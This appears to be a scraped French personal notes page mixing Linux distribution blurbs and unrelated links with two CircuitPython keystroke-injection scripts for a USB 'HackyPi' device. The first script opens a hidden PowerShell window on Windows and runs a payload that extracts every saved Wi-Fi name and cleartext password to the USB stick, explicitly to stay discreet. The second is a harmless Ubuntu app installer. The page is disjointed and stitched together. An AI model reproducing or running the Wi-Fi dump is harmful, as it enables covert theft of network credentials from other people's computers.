Lilidog Linux est une distribution légère et complète basée sur Debian stable avec Openbox et Tint2.
Commandes Intallation MPV et Lecture de videos / Youtube# installation
# lecture
Notes / UBUNTU LINUX, Informatique, Électronique, région Centre, loisirs, Youtube...
Lilidog Linux est une distribution légère et complète basée sur Debian stable avec Openbox et Tint2.
Commandes Intallation MPV et Lecture de videos / YoutubeSur windows :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
def press_combo(key1, key2):
kbd.press(key1)
kbd.press(key2)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.4)
# --- DÉBUT DE L'EXTRACTION ---
# 1. Attente de sécurité après le branchement USB
time.sleep(4)
# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)
press_combo(Keycode.GUI, Keycode.R)
time.sleep(0.8)
# 3. Ouvrir PowerShell en arrière-plan et de manière discrète
# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret
envoyer_commande("powershell -WindowStyle Hidden")
time.sleep(1.5)
# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi
# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'
commande_payload = (
"$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"
"if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"
"$log = \"${drive}:\\wifi_passwords.txt\";"
"(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "
"if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "
"if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "
"\"SSID: $name | Password: $pass\" >> $log } }; exit"
)
# 5. Injection et exécution de la commande
envoyer_commande(commande_payload)
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Layout AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # Laissez vide "" si vous préférez le taper vous-même
# Applications APT classiques (requis pour installer flatpak lui-même)
LOGICIELS_APT = "curl git flatpak"
# Applications Flatpak (Utilisez les identifiants uniques de Flathub)
# Exemple : Spotify, Discord, et LibreOffice
LOGICIELS_FLATPAK = "com.spotify.Client com.discordapp.Discord org.libreoffice.LibreOffice"
def press_combo(key1, key2, key3=None):
kbd.press(key1)
kbd.press(key2)
if key3:
kbd.press(key3)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.5)
# --- DÉBUT DE L'AUTOMATISATION ---
time.sleep(3) # Attente après branchement USB
# 1. Ouverture du terminal (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)
# 2. Mise à jour APT et installation du gestionnaire Flatpak
envoyer_commande("sudo apt update && sudo apt install -y " + LOGICIELS_APT)
if MOT_DE_PASSE_SUDO:
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(15) # Temps d'attente pour l'installation d'APT et de Flatpak
# 3. Ajout du dépôt officiel Flathub
envoyer_commande("flatpak remote-add --if-not-exists flathub https://flathub.org")
time.sleep(2)
# 4. Installation massive des applications Flatpak (-y pour valider automatiquement)
# L'option --noninteractive évite que Flatpak ne demande des confirmations de permissions
commande_flatpak = f"flatpak install -y --noninteractive flathub {LOGICIELS_FLATPAK}"
envoyer_commande(commande_flatpak)
# Fin du script
sentinellesdelanature.fr/signaler.html
Sentinelles de la Nature est une plateforme participative de veille écologique créée par le mouvement France Nature Environnement pour signaler les dégradations environnementales et valoriser les actions positives.